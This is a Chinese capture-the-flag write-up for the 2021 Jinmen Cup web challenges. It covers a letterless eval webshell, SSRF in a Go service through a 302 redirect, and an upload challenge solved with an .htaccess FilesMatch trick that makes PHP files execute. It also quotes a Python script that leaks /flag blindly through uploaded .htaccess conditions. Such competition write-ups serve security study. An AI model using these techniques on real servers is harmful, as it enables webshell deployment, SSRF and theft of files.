2021津门杯WP
1、hatephp
进去之后发现是一个典型的无字母数字webshell题目,源码如下:
<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
die('fighting!');
}
eval($code);
}
直接按照[p神的文章](无字母数字webshell之提高篇 | 离别歌 (leavesongs.com))打就行了。
2、GOOSS
给了源码,查看源码可以发现,访问到内网80端口的index.php就能读到flag,所以很明显是一道ssrf的题目。
查看go源码,发现可以请求外部链接,而且有回显,但是设置了白名单,只能访问前缀为http://127.0.0.1:1234/的url。
查找所以我们要结合其他路由,找一个能够302跳转的点,发现题目正好给了一个地方可以302跳转
大概意思就是要求你访问的文件是一个dir,而且最后缺少一个/的时候,就会帮你用一个302跳转补上,这么一个贴心的功能。但是,结合一些go语言的特性,就会出现安全问题。具体思路和Trick可以参考下面的三篇文章,讲的很详细(尤其是最后一篇)
其实我们在测试的时候并不是这样用双斜杠忽略协议,而是直接把访问的地址设置成http://127.0.0.1:80/index.php?file=/flag,类似这样:GET http://127.0.0.1:80/index.php?file=/flag#/../../../../..
(具体记不太清了,反正没直接用双斜杠)也是可以的。
3、uploadhub
这题有点奇怪。。。首先是出题人设置了一个没有用到的白名单
注意这两个地方不是同一个变量
其次在给的题目附录里有一个被复制到根目录但是毫无用处的tar.py。我估计预期出题思路和预期解法应该是上次tar文件,然后用链接的方式把flag带出来。但是这道题在现在这个状态也可以做出来。
因为后缀限制被取消了,所以我们可以上传任意文件,而且题目也没有对我们上传的文件进行重命名。这里第一时间可以想到直接上传webshell,但是由于apache2.conf里面的设置,php无法解析。
所以我们可以先上传一个.htaccess文件,然后再上传一个php文件执行php代码。这里要注意一点,如果采用如下.htaccess文件是无效的:
php_flag engine on
SetHandler application/x-httpd-php
具体原因不是很清楚,不过据[宸极实验室的文章](『CTF』津门杯国际网络安全创新大赛 WP (qq.com))所说,Files标签的优先级高于Directory标签,所以猜测不加标签的优先级最低所以不行(仅猜测)。所以采用如下文件:
<FilesMatch "\.php$">
php_flag engine on
SetHandler application/x-httpd-php
</FilesMatch>
然后上传php文件拿flag。
还有一种做法来自Nu1l战队,是.htaccess盲注,代码如下:(大师傅tql)
import requests
import string
import hashlib
ip = requests.get('http://118.24.185.108/ip.php').text
print(ip)
def check(a):
f = '''
<If "file('/flag')=~ /'''+a+'''/">
ErrorDocument 404 "wupco"
</If>
'''
resp = requests.post("http://122.112.248.222:20003/index.php?id=167",
data={'submit': 'submit'}, files={'file': ('.htaccess',f)} )
a = requests.get("http://122.112.248.222:20003/upload/"+ip+"/a").text
if "wupco" not in a:
return False
else:
return True
flag = "flag{BN"
c = string.ascii_letters + string.digits + "\{\}"
for j in range(32):
for i in c:
print("checking: "+ flag+i)
if check(flag+i):
flag = flag+i
print(flag)
break
else:
continue
还有两道题,一道题目是vim文件泄露然后反序列化,另一道题目是ssrf用gopher打post盲注,不是我做的题目所以就不写具体内容了。
Refrence:
『CTF』津门杯国际网络安全创新大赛 WP (qq.com)
Nu1l战队的知识星球